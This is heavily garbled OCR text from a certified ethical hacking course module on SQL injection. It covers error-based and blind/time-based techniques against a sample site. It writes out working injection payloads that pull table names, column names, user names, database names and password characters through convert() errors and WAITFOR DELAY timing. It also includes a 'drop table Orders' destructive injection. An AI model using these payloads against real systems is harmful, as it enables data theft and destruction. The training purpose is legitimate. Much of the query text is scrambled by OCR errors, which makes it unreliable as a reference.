Extra ct 1st Database Table


t t http://juggyboy.com/page.aspx?id=l or l=convert(int,(select top 1 name from sysobjects where xtype=char (8 5 )))
Syntax error converting the nvarchar value ,[TABLE NAME 1]' to a column of data type int.

Extra ct 1st Table Colum n Name


t t http://juggyboy.com/page.aspx?id=l or l=convert(int, (select top 1 column_name from DBNAME.information_schema.columns where table_name=' TABLE-NAME-1'))
Syntax error converting the nvarchar value ,[COLUMN NAME 1]' to a column of data type int.

Extra ct 1st Field of 1st Row (Data)


http://juggyboy.com/page.aspx?id=l or l=convert(int, (select top 1 COLUMN-NAME-1 from TABLE-NAME-1))w Syntax error converting the nvarchar value '[FIELD 1 VALUE]' to a column of data type int.

Copyright by IG-GOHCil. All Rights Reserved. Reproduction is Strictly Prohibited.

SQL Injection Error Based


The attacker makes use of the database-level error messages disclosed by an application. This is very useful to build a vulnerability exploit request. There are even chances of automated exploits based on the different error messages generated by the database server. Extract Database Name The following is the code to extract database name through SQL injection error-based method: h t t p :/ / ju g g yb oy. com/page. asp x ?id = l o r l= c o n v e r t ( in t , (DB_NAME)) Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int. Extract 1st Table Column Name The following is the code to extract the first table column name through the SQL injection errorbased method: h t t p :/ / ju g g yb oy. com/page. asp x ?id = l o r l= c o n v e r t ( in t , ( s e le c t column_name from DBNAME. in fo rm atio n _sch em a. columns table_nam e=1 TABLE-NAME-1' ) ) Syntax error converting the nvarchar value Extract 1st Database Table top 1 where

'[COLUMN NAME 1]' to a column of data type int.

Module 14 Page 2039

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

The following is the code to extract the first database table through the SQL injection errorbased method: h t t p :/ / ju g g yb oy. com/page. asp x ?id = l o r l= c o n v e r t ( in t , from s y s o b je c ts where x typ e= ch ar( 8 5 ) ) ) ( s e le c t top 1 name

Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data type int. Extract 1st Field Of 1st Row (Data) The following is the code to extract the first field of the first row (data) through the SQL injection error-based method: h t t p :/ / ju g g yb oy. com/page. asp x ?id = l COLUMN-NAME -1 from TABLE-NAME-1) ) Syntax error converting the nvarchar value or l= c o n v e r t ( in t , ( s e le c t top 1

'[FIELD 1 VALUE]' to a column of data type int.

Module 14 Page 2040

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

M odule Flow

U rtifM

CEH
IthKJi lUch(

Copyright by EG-GtODCil. All Rights Reserved. Reproduction is Strictly Prohibited.

M odule Flow
Previously we discussed various types of SQL injection attacks. Now, we will discuss each type of SQL injection attack in detail. Let us begin with the blind SQL injection attack. Blind SQL injection is a method that is implemented by the attacker when any server responds with any error message stating that the syntax is incorrect. (v W SQL Injection Concepts

1 0*

Advanced SQL Injection

Testing for SQL Injection

SQL Injection Tools

Types of SQL Injection

')
^
V -

Evasion Techniques

(^q1 j Blind SQL Injection

Countermeasures

SQL Injection Methodology

Module 14 Page 2041

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

This section introduces and gives a detailed explanation of blind SQL injection attacks.

Module 14 Page 2042

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

W hat I s B lin d SQL In je c tio n ?

CEH

Copyright by EC-ClllCil. All Rights Reserved. Reproduction Is Strictly Prohibited.

What Is Blind SQL Injection?


Blind SQL injection is used when a web application is vulnerable to SQL injection. In many aspects, SQL injection and blind injection are same, but there are slight differences. SQL injection depends on error messages but blind injections are not dependent on error messages. W here ever there is web application vulnerability, blind SQL injection can be used to either access the sensitive data or to destroy the data. Attackers can steal the data by asking a series of true or false questions through SQL statements. Results of the injection are not visible to the attacker. This is also more time consuming because every time a new bit is recovered, then a new statement has to be generated.

Module 14 Page 2043

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

No Error Messages Returned


ln this attack, when the attacker tries to perform SQL injection using a query such as: "I JuggyBoy'; drop table Orders - ", to this statement, the server throws an error message with a detailed explanation of the error with database drivers and ODBC SQL server details in simple SQL injection; however, in blind SQL injection, the error message is thrown to just say that there is an error and the request was unsuccessful without any d e ta ils .(

JuggyBoy' ; drop table Orders -

Blind SQL Injection (Attack Successful)

Simple SQL Injection

M ic r o s o f t OLE DB P r o v id e r f o r ODBC D r iv e r r r o r '8 00 4 0*14 (M ic r o s o f t ) [COBC SQL S e r v e r D r iv e r J (SQL S e r v e r ](Jn o lo s e d q u o t a t io n ark b e fo r e th e c h a ra a te r s trin g * '. / s h o p p in g / b u y . a s p x , l i n e 52

F IG U R E 14.13: No Error M essages R eturned

Module 14 Page 2044

Ethical Hacking and Countermeasures Copyright by EC-C0l1nCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Blind SQL Injection: WAITFOR DELAY YES or NO Response


; I F EXISTS (SELECT * FROM creditcaxd) WAITFOR DELAY '0:0 :1 0 *

Copyright by EG-GWHICil. All Rights Reserved. Reproduction is Strictly Prohibited.

Blind SQL Injection: W A ITFO R DELAY YES or NO Response


Step 1:; IF EXISTS(SELECT * FROM creditcard) WAITFOR DELAY '0:0:10'Step 2: Check if database "creditcard" exists or not Step 3: If No, it displays "W e are unable to process your request. Please try back later". Step 4: If YES, sleep for 10 seconds. After 10 seconds displays "W e are unable to process your request. Please try back later". Since no error messages are returned, use the 'waitfor delay' command to check the SQL execution status W A IT FOR DELAY ,time' (Seconds) This is just like sleep; wait for a specified time. The CPU is a safe way to make a database wait. WAITFOR DELAY '0 :0 :1 0 '- BENCHMARK() (Minutes) This command runs on MySQL Server. BENCHMARK(howmanytimes, do t h is )

Module 14 Page 2045

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

OG0

; IF EXISTS (SELECT * FROM creditcard) WAITFQR DELAY '0:0:10'

Oops!
W e are unable to process your request. Please try back later.

Since no error messages are returned, use ,w a i t f o r d e l a y ' command to check the SQL execution status

Oops!
W e are unable to process your request. Please try back later.

FIGURE 14.14: WAITFOR DELAY YES or NO Response

Module 14 Page 2046

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Blind SQL Injection Exploitation (MySQL)


Searching for the first character of the first table entry
/?id=l+AND+555=if(ord(mid((select+pass+from users+limit+0 ,1) ,1,1) )= [971,555,777)

r c1 1 ~ 5

Searching for the second character of the first table entry


/?id=l+AND+555=if(ord(mid((select+pass from+users+limit+O, 1 ) , 2 , 1))= [9 7 1 5 5 5 ,777)

If the table "users" contains a column "pass" and the first character of the first entry in this column is 97 (letter "a"), then DBMS will return TRUE; otherwise, FALSE.

If the table "users" contains a column "pass" and the second character of the first entry in this column is 97 (letter a ), then DBMS will return TRUE; otherwise, FALSE.

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

Blind SQL Injection Exploitation (MySQL)


SQL injection exploitation depends on the language used in SQL. An attacker merges two SQL queries to get more data. The attacker tries to exploit the Union operator to easily get more information from the databaase management system. Blind injections help an attacker to bypass more filters easily. One of the main differences in blind SQL injection is entries are read symbol by symbol. Searching for the first character of the first table entry / ?id=l+AND+555=if(ord(m id( (select+ pass+ from 97.555.777) u s e rs+ lim it+ 0 ,1 ) ,1 , 1 )) =

If the table "users" contains a column "pass" and the first character of the first entry in this column is 97 (letter "a"), then DBMS can return TRUE; otherwise, FALSE. Searching for the second character of the first table entry / ?id=l+AND+555=if(ord(m id( (sele ct+ p a ss 97.555.777) from +users+lim it+O,1 ) ,2 , 1 )) =

If the table "users" contains a column "pass" and the second character of the first entry in this column is 97 (letter a), then DBMS can return TRUE; otherwise, FALSE.

Module 14 Page 2047

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Blind SQL Injection - Extract D atabase User


Check for username length
h t t p : / / j u g g y b o y . c o m / p a g e .a s p x ? id = l; I F h t t p :/ / ju g g y b o y . c o m / p a g e .a s p x ? id = l; I F h t t p :/ / ju g g y b o y . c o m / p a g e .a s p x ? id = l; I F (L E N (U S E R )=1) WAITFOR DELAY '0 0 : 0 0 :1 0 (L E N (U S E R )= 2 ) WAITFOR DELAY '0 0 :0 0 :1 0 (L E N (U S E R )=3) WAITFOR DELAY '0 0 : 0 0 :1 0 '

CEH

Finding a full user name of 8 characters using binary search method takes 56 requests

17

Check if 1st character in username contains 'A' (a=97), 'B', or ,C etc.


h t tp :/ / ju g g y b o y .c o m / p a g e .a s p x ?id = l; I F h t tp :/ / ju g g y b o y .c o m / p a g e .a s p x ?id = l; I F h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x ?id = l; I F ( A S C I I(lo w e r (s u b s t r in g ((U S E R ),1 ,1 )))= 9 7 ) ( A S C I I(lo w e r (s u b s t r in g ((U S E R ),1 ,1 )))= 9 8 ) ( A S C I I(lo w e r (s u b s t r in g ((U S E R ),1 ,1 )))= 9 9 ) WAITFOR DELAY '0 0 :0 0 :1 0 ' WAITFOR DELAY '0 0 :0 0 :1 0 ' WAITFOR DELAY '0 0 :0 0 :1 0 '

Check if 2n d character in username contains A' (a=97), 'B', or *C etc.


h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x ?id - l; h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x 7 id - l; h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x 9 id - l; I F ( A S C I I(lo w e r (s u b s t r in g ((U S E R ), 2 , 1 ) ) ) - 9 7 ) I F ( A S C I I(lo w e r (s u b s t r in g ((U S E R ), 2 , 1 ) ) ) - 9 8 ) I F ( A S C I I (lo w e r (s u b s t r in g ((U S E R ), 2 , 1 ) ) ) - 9 9 ) WAITFOR DELAY '0 0 :0 0 :1 0 ' WAITFOR DELAY '0 0 :0 0 :1 0 ' WAITFOR DELAY '0 0 :0 0 :1 0 '

Check if 3rd character in username contains 'A' (a=97), 'B 1 , or 'C etc.
h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x ?id = l; I F h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x ?id = l; I F h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x ?id = l; I F ( A S C I I(lo w e r (s u b s t r in g ((U S E R ),3 ,1 )))= 9 7 ) ( A S C I I(lo w e r (s u b s t r in g ((U S E R ),3 ,1 )))= 9 8 ) ( A S C I I(lo w e r (s u b s t r in g ((U S E R ),3 ,1 )))= 9 9 ) WAITFOR DELAY '0 0 :0 0 :1 0 ' WAITFOR DELAY '0 0 :0 0 :1 0 ' WAITFOR DELAY '0 0 :0 0 :1 0 '

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Blind SQL Injection Extract Database User


In the blind SQL injection method, the attacker can extract the database user name. The attacker can probe yes/no questions from the database server to extract information from it. To find the first letter of a user name with a binary search, it takes 7 requests and for 8 char long name it takes 56 requests.

Module 14 Page 2048

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Finding a full username of 8 characters using binary search method takes 56 requests Check for username length
http://juggyboy.com/page.aspx?id=l; http://juggyboy.com/page.aspx?id=l; http://juggyboy.com/page.aspx?id=l; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10' IF (LEN(USER)=2) WAITFOR DELAY '00:00:10' IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'

Check if 1st character in usernam e contains ,a 1(a=97), !b\ or ,c1etc.


http://juggyboy.con/page.aspx?id=l; http://juggyboy.con/page.aspx?id=l; http://juggyboy.con/page.aspx?id=l; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10' IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10' IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'

Check if 2n d character in username contains 1 a1(3=97), ,b', or ,c1 etc.


http://juggyboy.con/page.aspx?id=l; IF (ASCII(lower(substring((USER),2,1)))=97) http://juggyboy.con/page.aspx?id=l; IF (ASCII(lower(substring((USER),2,1)))-98) http://juggyboy.con/page.aspx?id=l; IF (ASCII(lower(substring((USER),2,1)))=99) WAITFOR DELAY '00:00:10 WAITFOR DELAY 00:00:10' WAITFOR DELAY '00:00:10'

Check if 3rd character in usernam e contains ,a 1(a=97), ,b', or ,c1etc.


http://juggyboy.con/page.aspx?id=l; http://juggyboy.con/page.aspx?id=l; http://juggyboy.con/page.aspx?id=l; IF (ASCII(lower(substring((USER),3,1)))=97) IF (ASCII(lower(substring((USER),3,1)))=98) IF (ASCII(lower(substring((USER),3,1)))=99) WAITFOR DELAY 00:00:10' WAITFOR DELAY '00:00:10' WAITFOR DELAY '00:00:10'

FIGURE 14.15: Extract Database User

Module 14 Page 2049

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Blind SQL Injection - Extract D atabase N am e


C h eck fo r D a ta b a s e N a m e Length and N a m e
http://juggyboy.com/page.aspx?id=l; h t t p ://juggyboy.com/page.aspx?id= l; http://juggyboy.com/page.aspx?id=l; h t t p ://juggyboy.com/page.aspx?id= l; h t t p ://juggyboy.com/page.aspx?id= l; I F (LEN(DB_NAME())=4) WAITFOR DELAY 00: 00: 10 ' I F (A SC II(lo w e r(s u b strin g ( (DB_NAME()),1 ,1 )))= 9 7 ) I F (ASCII(lower(substring((DB_NAM E()),2 ,1 )))= 9 8 ) I F (ASCII(lower(substring((DB_NAM E()),3 ,1 )))= 9 9 ) I F (A SC II(lo w e r(s u b strin g ( (DB_NAME( ) ) , 4 , 1 ) ) ) =100)

CEH
WAITFOR DELAY '00:00:10 WAITFOR DELAY '00:00:10 WAITFOR DELAY '00:00:10' WAITFOR DELAY '00:00:10

Database Name = ABCD

http://juggyboy. com/page. aspx?id-l; WAITFOR DELAY ' 0 0 : 0 0 : 1 0 ' http://juggyboy.com/page.aspx7id-l; xtype-char(85)),1,1)))-101) WAITFOR http://juggyboy.com/page.aspx7id-l; xtype-char(85)), 2 , 1 ) ))-109) WAITFOR http://juggyboy.com/page.aspx7id-l; xtype-char(85)),3,1)))=112) WAITFOR
Table Name = EM P

IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype-1 U ')3) IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where DELAY '00:00:10'-IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where DELAY ' 0 0 : 0 0 : 1 0 '- IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where DELAY '00:00:10'

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Blind SQL Injection Extract Database Nam e


In the blind SQL injection method, the attacker can extract the aatabase name using the

time-based blind SQL injection method. Here, the attacker can brute force the database name by using time before the execution of the query and set the time after query execution; then he or she can assess from the result that if the time lapse is 10 seconds, then the name can be 'A; otherwise, if it took 2 seconds, then it can't be 'A'.

Module 14 Page 2050

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Check for Database Name Length and Name


h t t p : //juggyboy . com/page . aspx?id=l ; h t t p : //juggyboy.com/page. asp x?id= l; h t t p :// juggyboy. cocn/page. asp x ?id= l; h t t p : //juggyboy.com/page.asp x?id= l; http://juggyboy.com /page.aspx?id=l; I F (LEN (DB_NAME () )=4) WAITFOR DELAY '00:00:10' I F (A S C II(lo w e r(s u b s trin g ( (DB_NAME( ) ) , 1 , 1 ) ) )=97) I F (A SCII (lower (su bstring ( (DBNAME ( ) ) ,2 , 1 ) ) ) =98) I F (A S C II(lo w e r(s u b s trin g ( (DB_NAME( ) ) , 3 , 1 ) ) ) =99) I F (A S C II(lo w e r(s u b s trin g ( (DBNAME( ) ) , 4 , 1 ) ) ) =100) WAITFOR DELAY '0 0 :0 0 :1 0 ' WAITFOR DELAY '00:00:10 WAITFOR DELAY '0 0 :0 0 :1 0 ' WAITFOR DELAY '0 0 :0 0 :1 0 '

Database Name = ABCD

Extract 1st Database Table


http://juggyboy.com/page. aspx?id=l; WAITFOR DELAY '00:00:10' http://juggyboy. com/page. aspx?id=l; xtype=char (85)) ,1,1)) )=101) WAITFOR http://juggyboy.com/page. aspx?id=l; xtype=char(85)),2,1)))=109) WAITFOR http://juggyboy. com/page. aspx?id=l; xtype=ahar(85)),3,1)))=11?) WAITFOR IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype=' U' )=3) IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjeats where DELAY '00:00:10' IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjeats where DELAY '00:00:10' IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjeats where DELAY '00:00:10

Table Name = EMP


F IG U R E 14.16: Extract D atabase N am e

Module 14 Page 2051

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Blind SQL Injection - Extract Colum n N am e


E x tra ct 1st T ab le C o lu m n N a m e

C EH

h t t p :/ / juggyboy.com/page.asp x ?id = l; I F (LEN(SELECT TOP 1 column name from ABCD. info rm atio n schema. columns where table_name= EMP')=3) WAITFOR DELAY '00:00:10' h t t p :/ / juggyboy.com/page.asp x ?id = l; I F (A S C II(lo w e r(s u b s trin g ( (SELECT TOP 1 column_name from ABCD. inform ation_schem a. columns where table_name=' EMP' ) , 1 , 1 ) ) ) =101) WAITFOR DELAY '0 0 :0 0 :1 0 ' h t t p :/ / juggyboy.com/page.asp x ?id = l; I F (A S C II(lo w e r(s u b s trin g ( (SELECT TOP 1 column_name from ABCD.inform ation_schem a.columns where table_name='EMP' ) , 2 , 1 ) ) ) =105) WAITFOR DELAY '0 0 :0 0 :1 0 ' h t t p :/ / juggyboy.com/page.asp x ?id = l/ I F (A S C II(lo w e r(s u b s trin g ( (SELECT TOP 1 column_name from ABCD.inform ation_schem a.columns where table_name=*EMP' ) , 3 , 1 ) ) ) =100) WAITFOR DELAY '00:00:10'--

Column Name = EID

i 1 1 1 1 1 1 1 1 1 1 1 1 1111

E x tra ct 2nd Table C o lu m n N a m e


http ://juggyboy. com/page, aspx? id-1; IF (LEN (SELECT TOP 1 column_name from ABCD. in f ormation_schema. columns where table_name-' EMP' and column_name>' EID 4- ( ) WAITFOR DELAY '00:00:10 http://juggyboy.com/page.aspx7id-l; IF (A SC II(low er(substring( (SELECT TOP 1 column_name from ABCD.information_schema.columns where table_name-' EMP' and column_name>' EID ' ) , 1 , 1 ) ) )-100) WAITFOR DELAY '00:00:10'http://juggyboy.com/page.aspx7id-l; IF (A SC II(low er(substring( (SELECT TOP 1 column_name from ABCD.information_schema.columns where table_name=' EMP' and column_name>' EID ' ) , 2 , 1 ) ) ) -101) WAITFOR DELAY '00:00:10'http://juggyboy.com/page.aspx?id=l; IF (A SC II(low er(substring( (SELECT TOP 1 column_name from ABCD.information_schema.columns where table_name=' EMP' and column_name>' EID ' ) , 3 , 1 ) ) )=112) WAITFOR DELAY '00:00:10'http://juggyboy.com/page.aspx?id=l; IF (A SC II(low er(substring( (SELECT TOP 1 column_name from ABCD.information_schema.columns where table_name=' EMP' and column_name>' EID ' ) , 4 , 1 ) ) ) =116) WAITFOR DELAY '00:00:10'-

Column Name = DEPT

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Blind SQL Injection Extract Column Nam e


In the blind SQL injection method, the attacker can extract the column names using different brute force methods or tools using which he or she can check for the first table column name and the second table column name.
Extract 1st Table Column Name
h t tp :/ / ju g g y b o y .coct/page . aspx * id - l I F (LEN(SELECT TOP 1 co lu s r . _ r . f r o n whore t a b le name- EM I' ) - J ) MA1TFOR DELAY 00:00:10 ABCD. in fo r m a tio n _ 9 c h e n a . colu m n s

h t tp :/ / ju g g y b o y . co/pg 1 1 p x ?1 d s l: 1r (A S C II (lo v e r ( s u b s t r in g ( (SELECT TOP 1 e o lim n name from ABCD. in forma t io : _schwn * c o lu m n s where ta b le _ n a !r ' E M P ') , 1 , 1 ) ) )101) WAIYFOR DELAY '00 0 0 :1 0 '

h ttp :/ / ju g g y b o y .c o n / p a g e .asp x ?id - 1 . I F (A S C II(lo w e r (s u b s tr in g ((S E L E C T TOP 1 colunn_nane from ABCD. inform ataon_scheraa. columns where ta b le_r.am e -'E M P') ,2 ,1 )) )-105) WAITFOR DELAY 00: 00: 10 -h ttp :/ / ju g g y b o y .c o re / p a g e .a s p x ? ld = l; I F (A S C II(lo w e r (s u b s tr in g ((S E L E C T TOP 1 column nano from A B C D .in fo rm atio n _B c h an a.columns where table_ram e= ' EM P ') , 3 , 1 ) ) )100) WA1TFOR DELAY '0 0 :0 0 :1 0 '- -

Column Name =EID

Extract 2nd Table Column Name


h te p ://j u g g y b o y .c a a /p a g e .& p x ? 3 .d = l; I F (1-EN | SELECT TCS 1 c o l a n r . i x e f r c n ABCD. i n f o r a a t i s r . s c h a i u . colum ns x k e re t a b l e _ a n e - EMP a n d c o lu n n _ n a n s> EID 4- ( ) KATTrOP DELAY '0 0 : 0 0 7 1 0 '- h t t p : / / j u g g y b o y 0 c /p g * .a p x '>1.*Bl r I F (ASCI I ( lo w e r ( s u b s t r i n g ( (SKLECT TOP 1 eolumn_nacr* from ABCD. i n f o r a a tio n _ 3 c h c a a . c o l us w h ere ta b lc _ n m r^ EH? * a d c o 1 w _ 3 c o k > ' E IS ' ) , 1 ,1 ) ) ) 100) WAITTOR h t t p : / / J u g g y b o y .c c a / p a g e . a s p x >l d E i ; i f (ASCII (lo w e r ( s u b s t r i n g ( (SELECT TOP l colux _n<*r f r o n A B C D .in fo z tta tio n s c h s a a .c o lu a m w h ere t a b l e m m - ' EMP a nd . * . . >a*e> EID 101- ( ( (2 , 1 , ( )WAITFOR h t t p : / / j u g g y b o y . c o n / p a g e . a s p x * i d - l ; 2F ( A S C I I ( lo w e r ( s u b s tr in g ( (SELECT TOP 1 c o lu n ! >x from ABC, i n f o n r j t i o n e rh o n a e o l u m i w h ere t a b l e nw e=E N S >' and . i n r n a a e V E I ' ) , 3 , 1 )7 ) =i 12) WAITFOR h t t p ! / / j u g g y b o y . a a n /p a g e . a s p x ? d = l .* I F (ASCII (lo w e r ( s u b s tr .rv g ( (SELECT TOP 1 colum n nacce f r o n ABCD. in f o r m a tl o n _ s c h e a a . c o lu n n s w here ta b le _ n a & e > EMP' a nd colu*r_rae> EID ) ,4 , 1) ) )116) WAITFOR

DELAY '0 0 : 0 0 : 1 0 '- DELAY DELAY DELAY 0 0 : 0 0 : 1 0 '- 0 0 :0 0 :1 0 - 0 0 : 0 0 : 1 0 '- -

Column Name = DEPT

FIGURE 14.17: Extract Database User

Module 14 Page 2052

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Blind SQL Injection - Extract Data from ROWS


Extract 1st Field of 1st Row
h t t p : / / ju g g y b o y . c o m / p a g e . a s p x ? id = l; h t t p : / / ju g g y b o y . c o m / p a g e . a s p x ? id = l;

CEH
WAITFOR WAITFOR WAITFOR

IF IF IF IF

(LEN(SELECT TOP 1 EID from EMP)=3) WAITFOR DELAY '0 0 :0 0 :1 0 ' (A SC II (s u b strin g ( (SELECT TOP 1 (A SC II (s u b strin g ( (SELECT TOP 1 (A SC II (s u b strin g ( (SELECT TOP 1 EID from EM P), 1 , 1 ) ) =106) EID from EMP) ,2 ,1) ) =111) EID from EMP) , 3,1) )=101)

DELAY '00:00:10 *
h t t p : / / ju g g y b o y .co m /p a g e . a s p x ? id = l;

DELAY '0 0 :0 0 :1 0
h t t p : / / ju g g y b o y . c o m / p a g e . a s p x ? id = l;

DELAY '00:00:10 *

Field Data = JOE

E x tra ct 2nd Field o f 1st R o w


h t t p :/ / juggyboy. com/page. aspx?id 1; I F h t t p :/ / juggyboy.com/page. aspx?id 1; IF WAITFOR DELAY '0 0 :0 0 :1 0 ' h t t p :/ / juggyboy.com/page. a s p x ?id - l; I F WAITFOR DELAY '0 0 :0 0 :1 0 ' h t t p :/ / juggyboy.com/page. asp x ?id = l; I F WAITFOR DELAY '0 0 :0 0 :1 0 ' h t t p :/ / juggyboy.com/page. asp x ?id = l; I F WAITFOR DELAY '0 0 :0 0 :1 0 ' (LEN(SELECT TOP 1 DEPT from EMP)-4) WAITFOR DELAY '00:00:10 (A SC II(su b strin g ((S E L E C T TOP 1 DEPT from EM P), 1 , 1 ) ) -100) (A SC II(su b strin g ((S E L E C T TOP 1 DEPT from EMP) 111-( ( 2, 1) (A SC II(su b strin g ((S E L E C T TOP 1 DEPT from EM P), 3 , 1 ) ) -109) (A SC II(su b strin g ((S E L E C T TOP 1 DEPT from EMP) 112=( ( 1 3 )

Field Data = COMP


Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

Blind SQL Injection Extract Data from ROWS


In the blind SQL injection method, the attacker can extract the data from the rows using the command with the "IF" keyword and check if the first character of the word in the first column and row match the character by guessing.
Extract 1st Field of 1st Row
h t tp :/ / ju g g y b o y . cam/page . a s p x ? id - l ; I F h t tp :/ / iu a a y b o y .com/pacre.asp x ? 1 d * l ; I F DELAY '0 0 : 0 0 : 1 0 ' h t t p :/ / ju g g yb o y. com/page.asp x ? 1 d = l; I F DELAY 0 0 :0 0 :1 0 ' h ttp :/ / ju g g y b o y .co m / p a g e .a s p x ?id = l; i r DELAY '0 0 : 0 0 : 1 0 '- (LEK (SELECT TOP 1 E ID fro n EMP) - 3 ) WAITFOR DELAY 0 0 :0 0 :1 0 ' (A S C II (s u b s t r in g <(SELECT TOP 1 E ID fro n EMP) , 1 , 1 ) )-1 0 6 ) WAITFOR (A S C II(s u b s t r in g ((S E L E C T TOP I E ID fro n E M P ), 2 , 1 ) )111) WAITFOR ( A S C II(s u b s t r in g ( (SELECT TOP 1 E ID fro n E M P ) , 3 , 1 ) ) =101) WAITFOR

Field Data =JOE

Extract 2nd Field of 1st Row


h ttp :// ju g g yb o y.co m /p a g o .a sp x 7 id ; ! IF (LEK (SELEC T TOP 1 DEPT front EM P)4) WAITFOR DELAY 00:00:10'-(A S C II(s u b s t r in g ( (SELECT TOP 1 DEPT from EM P ), 1 , 1 ) ) -100) (A S C II(s u b s t r in g ((S E L E C T TOP I DEPT from EM P ), 2 , 1 ) ) 111) (A S C II(s u b s t r in g ( (SELECT TOP 1 DEPT from SM E ), 3 , 1 ) ) -109) (A S C II (s u b s tr in g ( (SELECT TOP 1 DEPT from EM P ), 3 , 1 ) ) 112) h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x 7 id - l; I F WAITFOR DELAY '0 0 :0 0 :1 0 h ttp :// ju g g yb o y.co m /p a g e.a s p x ? 1 d = l; I F WAITFOR DELAY '0 0 :0 0 :1 0 ' h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x 7 id - l; I F WAITFOR DELAY '0 0 :0 0 :1 0 ' h ttp :/ / ju g g y b o y com/pag aspx id = l; I F WAITFOR DELAY '0 0 :0 0 :1 0 '- -

Field Data COMP

F IG U R E 14.18: Extract D atabase from R O W S

Module 14 Page 2053

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Copyright by EC-ClllCil. All Rights Reserved. Reproduction Is Strictly Prohibited.

M odule Flow
Attackers follow a methodology to perform SQL injection attacks to ensure that they check for every possible way of performing these attacks. This increases the likelihood of successful attacks. SQL Injection Concepts ^* Advanced SQL Injection

Testing for SQL Injection

SQL Injection Tools

Types of SQL Injection

^ J ^

Evasion Techniques

1 Blind SQL Injection

Countermeasures

SQL Injection Methodology

Module 14 Page 2054

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

This section provides insight into the SQL injection methodology. It describes the steps used by the attacker to perform SQL injection attacks.

Module 14 Page 2055

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection Methodology


C o m p ro m is e th e N e tw o rk

C EH

In fo rm a tio n G a th e rin g

Interact w ith th e O peration System

SQL Injection Vuln erab ility Detection

E x tra ct th e D ata

Lau n ch S Q L In je c tio n A ttack s

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

